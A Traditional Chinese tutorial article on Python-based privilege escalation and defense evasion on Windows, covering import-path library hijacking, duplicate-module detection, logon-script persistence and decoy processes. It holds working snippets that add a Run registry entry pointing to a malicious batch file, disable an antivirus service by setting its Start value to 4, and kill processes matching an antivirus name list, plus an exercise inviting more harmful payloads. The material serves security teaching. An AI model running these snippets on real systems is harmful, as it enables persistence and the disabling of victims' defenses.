返回文章列表

Python 函式庫許可權提升攻擊分析

本文探討惡意 Python 函式庫如何被用於許可權提升攻擊,並分析攻擊者如何利用 Windows 登入指令碼和 Python `import` 機制進行攻擊。文章同時提供程式碼範例,演示如何檢測可疑的 Python

資安 Web 開發

Python 函式庫的便利性也帶來了安全風險。惡意程式碼可能潛藏在看似正常的函式庫中,並在被匯入時執行。攻擊者可以利用 PYTHONPATH 環境變數,將惡意函式庫插入到 Python 的搜尋路徑中,使其優先於正常的函式庫被載入。這種攻擊手法難以察覺,因為 Python 的模組載入機制相當複雜,且系統中可能存在大量的函式庫。因此,開發者需要提高警覺,並使用程式碼檢測工具來識別潛在的惡意函式庫,例如檢查是否存在重複的模組版本,並比對模組的來源與預期路徑。除了函式庫劫持,攻擊者還可以利用 Windows 登入指令碼和 Python import 機制進行許可權提升攻擊,例如修改登入指令碼路徑以執行惡意程式碼。瞭解這些攻擊手法和檢測方法,對於保障系統安全至關重要。

利用惡意 Python 函式庫進行許可權提升攻擊

Python 的強大功能來自於其豐富的函式庫。透過簡單的 import 陳述式,應用程式就能獲得各種強大的功能。在本文中,Python 模組讓我們能夠使用幾行程式碼實作複雜的攻擊或防禦。

Python 函式庫的風險

然而,Python 函式庫也可能對應用程式構成風險。如果 Python 指令碼意外地匯入包含惡意程式碼的模組,那麼即使指令碼從未呼叫該模組的任何函式,該程式碼也可能會被執行。

Python 如何尋找函式庫

當 Python 指令碼匯入函式庫時,Python 會採用類別似於 Windows 作業系統尋找檔案的方式來尋找該函式庫。PYTHONPATH 環境變數描述了 Python 會尋找所需模組的位置列表。

檢視系統的 PYTHONPATH

要檢視系統的 PYTHONPATH,可以執行以下命令:

>python
>>> import sys
>>> sys.path

建立惡意的 Python 函式庫

建立惡意的 Python 函式庫非常簡單,只需建立一個 Python 檔案,例如:

# win32evtlog.py
print("這不是真正的 win32evtlog")

將此檔案放在 Python 函式庫搜尋路徑中的某個位置,使得它比真正的 win32evtlog 模組更早被找到。這樣,當呼叫 import win32evtlog 時,就會執行這個惡意函式庫。

執行惡意程式碼

要使 Python 檔案容易受到此攻擊,只需匯入一個函式庫。建立一個像前面描述的惡意函式庫後,執行以下程式碼:

>python
>>> import win32evtlog
這不是真正的 win32evtlog

如上所示,只要匯入該程式碼,就會執行它,並執行其「惡意」程式碼(例如,列印出警告訊息)。

偵測可疑的 Python 函式庫

Python 的模組匯入路徑很長,內建功能或可下載的函式庫很多,因此很難判斷是否已經被替換。以下是一個用於偵測可疑 Python 函式庫的程式碼範例:

# PythonLibraryMismatch.py
import sys, os

def getImports():
    before = list(sys.modules.keys())
    import test
    after = list(sys.modules.keys())
    new = [m for m in after if not m in before]
    modules = set([n.split(".")[0] for n in new])
    return modules

def findModules(imports):
    mods = {}
    path = sys.path
    path[0] = os.getcwd()
    for p in path:
        for r, d, f in os.walk(p):
            for i in imports:
                files = [file for file in f if file.startswith(i + ".py")]
                for file in files:
                    filepath = os.path.join(r, file)
                    if i in mods:
                        mods[i].append(filepath)
                    else:
                        mods[i] = [filepath]
                if i in d and os.path.isfile("\\".join([r, i, "__init__.py"])):
                    filepath = os.path.join(r, i)
                    if i in mods:
                        mods[i].append(filepath)
                    else:
                        mods[i] = [filepath]
    return mods

imports = getImports()
modules = findModules(imports)
for m in modules:
    if len(modules[m]) > 1:
        print("發現 %s 的重複版本:" % m)
        for x in set(modules[m]):
            print("\t%s" % x)

程式碼解析:

  1. getImports 函式:此函式用於取得匯入的模組。它首先記錄目前已載入的模組,然後匯入一個測試模組(test.py),再記錄新的已載入模組。透過比較這兩個列表,可以找出新匯入的模組。
  2. findModules 函式:此函式用於找出匯入模組的位置。它遍歷 sys.path 中的每個路徑,並檢查是否存在與匯入模組名稱相符的檔案或目錄。如果找到多個匹配項,則將它們記錄下來。
  3. 主程式:主程式呼叫 getImportsfindModules,然後檢查是否有多個版本的模組存在。如果發現重複版本,則列印出這些版本的路徑。

執行許可權提升(Privilege Escalation)與防禦閃避(Defense Evasion)技術分析

許可權提升技術的 Python 應用

在進行許可權提升時,攻擊者會利用系統的漏洞或設計缺陷來取得更高的系統許可權。Python 在此過程中扮演著重要的角色,特別是在 Windows 環境中對登入指令碼(Logon Scripts)的操控以及對 Python import 機制的劫持。

登入指令碼的偵測與操控

登入指令碼通常在使用者登入時自動執行,攻擊者可以透過修改 Windows 登入檔來執行惡意指令碼。以下是一個簡單的 Python 範例,展示如何檢測和建立登入指令碼:

import winreg

def create_logon_script(script_path):
    # 開啟登入指令碼相關的登入檔鍵
    key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, winreg.KEY_SET_VALUE)
    # 設定登入指令碼的路徑
    winreg.SetValueEx(key, "LogonScript", 0, winreg.REG_SZ, script_path)
    winreg.CloseKey(key)

# 使用範例
create_logon_script("C:\\path\\to\\malicious_script.bat")

內容解密:

  1. winreg 模組的使用:該模組允許 Python 程式與 Windows 登入檔互動,從而實作對系統設定的修改。
  2. OpenKeySetValueEx 方法:用於開啟指定的登入檔鍵並設定其值,這裡用於設定登入指令碼的路徑。
  3. 安全性影響:攻擊者可能利用此技術執行惡意指令碼,因此檢測和防範這類別操作對於系統安全至關重要。

Python import 機制的劫持與檢測

Python 的 import 機制允許動態載入模組,但也可能被攻擊者利用來執行惡意程式碼。攻擊者可能透過在 Python 搜尋路徑中放置惡意模組來劫持正常的 import 操作。

檢測 Python 模組衝突

以下是一個檢測 Python 模組衝突的範例程式碼,用於找出系統中是否存在多個版本的相同模組:

import sys
import os

def get_imports(module_name):
    # 取得載入模組前後的 sys.modules 鍵值
    before = set(sys.modules.keys())
    try:
        __import__(module_name)
    except ImportError:
        return []
    after = set(sys.modules.keys())
    new_modules = after - before
    return list(new_modules)

def find_modules(module_name):
    locations = []
    for path in sys.path:
        for root, dirs, files in os.walk(path):
            if module_name + '.py' in files or module_name in dirs:
                locations.append(os.path.join(root, module_name))
    return locations

# 使用範例
module_name = 'win32evtlog'
imports = get_imports(module_name)
locations = find_modules(module_name)
if len(locations) > 1:
    print(f"發現 {module_name} 的多個版本:{locations}")

內容解密:

  1. sys.modules__import__ 的使用:透過比較載入模組前後的 sys.modules,可以確定新載入的模組。
  2. os.walk 的使用:遍歷 sys.path 中的所有目錄,以找出指定模組的多個版本。
  3. 多版本模組的風險:多個版本的模組可能導致意外的行為或被惡意利用,因此需要仔細檢查和處理。

防禦閃避技術分析

防禦閃避是攻擊者用來避免被防禦系統檢測到的技術。MITRE ATT&CK 框架中列出了多達 39 種防禦閃避技術,包括程式碼混淆、反除錯技術等。

防禦閃避的挑戰

隨著防禦系統的不斷進步,攻擊者需要採用更為複雜的技術來避免被檢測。Python 因其靈活性和強大的函式庫支援,成為攻擊者和防禦者都喜愛的工具。

練習建議

  1. 修改 LogonScript.py 以執行更有用的惡意操作。
  2. DetectLogonScript.py 中新增程式碼以檢查目標命令是否正在系統上執行。
  3. 更新 PythonLibraryMismatch.py 以比較衝突模組的不同版本之間的差異。
  4. 修改 PythonLibraryMismatch.py 以僅在明確匯入子模組時才包含它們。

防禦閃避技術:反病毒軟體的檢測與終止

在網路攻擊的生命週期中,防禦閃避是一個關鍵階段。本章節將探討兩種防禦閃避技術:破壞防禦措施和隱藏攻擊痕跡。我們將重點介紹如何使用Python來檢測和終止反病毒軟體,以及如何利用替代資料流(ADS)來隱藏惡意活動。

破壞防禦措施

破壞防禦措施是一種主動的防禦閃避技術,旨在幹擾或停用安全防禦工具。反病毒軟體是保護系統免受惡意軟體侵害的重要工具,但如果惡意軟體能夠在被檢測到之前停用反病毒軟體,那麼它就有可能實作其目標。

停用反病毒軟體的自動執行

許多反病毒軟體透過將自身定義為服務來實作自動執行。Windows服務控制管理器(SCM)會在系統啟動或使用者登入時自動啟動這些服務。這些服務通常定義在登入檔項HKLM\SYSTEM\CurrentControlSet\Services下。

import winreg

# 定義要檢測的反病毒軟體名稱列表
av_list = ["MBAM"]

# 開啟登入檔項
reghive = winreg.HKEY_LOCAL_MACHINE
regpath = "SYSTEM\CurrentControlSet\Services"
try:
    key = winreg.OpenKey(reghive, regpath, 0, access=winreg.KEY_READ)
    numKeys = winreg.QueryInfoKey(key)[0]
    for i in range(numKeys):
        subkey = winreg.EnumKey(key, i)
        for name in av_list:
            if name in subkey:
                subPath = "%s\\%s" % (regpath, subkey)
                k = winreg.OpenKey(reghive, subPath, 0, winreg.KEY_READ)
                numVals = winreg.QueryInfoKey(k)[1]
                for j in range(numVals):
                    val = winreg.EnumValue(k, j)
                    if val[0] == "Start" and val[1] == 2:
                        print("服務 %s 設定為自動執行" % subkey)
except Exception as e:
    print(e)

內容解密:

此程式碼片段用於檢測登入檔中定義的反病毒軟體服務是否設定為自動執行。它遍歷HKLM\SYSTEM\CurrentControlSet\Services下的子項,檢查是否有與指定反病毒軟體名稱匹配的服務。如果找到匹配的服務,它會檢查該服務的Start值是否等於2(表示自動執行)。如果是,則列印預出該服務的名稱。

停用反病毒軟體

要停用反病毒軟體,需要修改其登入檔項中的Start值,將其設定為0x04。這個操作需要管理員許可權。

# 假設我們要停用前面檢測到的服務
subPath = "SYSTEM\CurrentControlSet\Services\\MBAMService"
try:
    k = winreg.OpenKey(reghive, subPath, 0, winreg.KEY_WRITE)
    winreg.SetValueEx(k, "Start", 0, winreg.REG_DWORD, 4)
    print("已停用 MBAMService 服務")
except Exception as e:
    print(e)

內容解密:

此程式碼片段展示瞭如何停用前面檢測到的反病毒軟體服務。它開啟相應的登入檔項,並使用SetValueEx函式將Start值設定為4(停用)。這需要寫入登入檔的許可權,因此需要以管理員身份執行。

規避防禦機制

終止處理程式

停用防毒軟體(AV)的自動執行(Autorun)僅能確保該程式不會在系統啟動或使用者登入時自動執行,但無法終止目前正在執行的防毒軟體例項。對於目前在系統上執行的惡意軟體,這些正在執行的防毒軟體處理程式才是更大的關注點。

TerminateAntivirus.py 程式碼解析

import psutil, os, signal

av_list = ["notepad"]

# 搜尋並終止處理程式
for process in psutil.process_iter():
    for name in av_list:
        if name in process.name():
            os.kill(process.pid, signal.SIGTERM)

內容解密:

  1. 匯入必要的模組:使用 psutil 模組來取得系統處理程式資訊,os 模組用於作業系統相關功能,signal 模組用於傳送訊號給處理程式。
  2. 定義防毒軟體名稱列表av_list 包含了要搜尋的防毒軟體名稱,此範例中使用 "notepad" 作為範例目標。
  3. 遍歷系統處理程式:使用 psutil.process_iter() 函式迭代目前系統上執行的所有處理程式。
  4. 檢查處理程式名稱:對每個處理程式,檢查其名稱是否包含在 av_list 中的關鍵字。
  5. 終止符合的處理程式:若處理程式名稱符合,則使用 os.kill() 傳送 SIGTERM 訊號來請求終止該處理程式。

建立誘餌防毒軟體處理程式

先前的範例展示了應用程式如何搜尋並破壞與防毒軟體相關的處理程式。這包括識別並停用 Windows 登入檔中防毒軟體處理程式的自動執行(Autorun)鍵值,以及搜尋並終止正在執行的防毒軟體處理程式。

DecoyProcess.py 程式碼解析

import signal, sys
from setproctitle import setproctitle
from time import sleep

def terminated(signum, frame):
    pass

decoy_name = "notepad"
setproctitle(decoy_name)

signal.signal(signal.SIGTERM, terminated)
signal.signal(signal.SIGINT, terminated)

siginfo = signal.sigwaitinfo({signal.SIGINT, signal.SIGTERM})

with open("terminated.txt", "w+") as f:
    f.write("Process terminated by %d\n" % siginfo.si_pid)

sys.exit(0)

內容解密:

  1. 匯入必要的模組:使用 signal 模組來處理訊號,setproctitle 模組用於更改處理程式標題,sys 模組用於系統相關操作。
  2. 定義訊號處理函式terminated 函式目前未執行任何操作,用於捕捉訊號後執行清理工作。
  3. 更改處理程式名稱:使用 setproctitle() 將當前處理程式名稱更改為 "notepad",以偽裝成其他處理程式。
  4. 註冊訊號處理器:使用 signal.signal() 註冊 SIGTERMSIGINT 訊號的處理器,當接收到這些訊號時執行 terminated 函式。
  5. 等待訊號:使用 signal.sigwaitinfo() 等待 SIGINTSIGTERM 訊號,當接收到訊號時,將終止該處理程式的 PID 寫入 terminated.txt 檔案。

捕捉訊號

訊號是用於在不同處理程式之間進行非同步通訊的機制。DecoyProcess.py 使用 Python 的 signal 模組定義了自己的訊號處理器,用於捕捉 SIGINTSIGTERM 訊號,並在接收到這些訊號時執行特定的清理操作。

隱藏痕跡

若「削弱防禦」是一種主動的防禦逃避技術,那麼「隱藏痕跡」則是一種被動技術。這種技術不是直接針對目標系統上的網路安全解決方案,而是試圖隱藏攻擊過程中產生的檔案、處理程式和其他痕跡。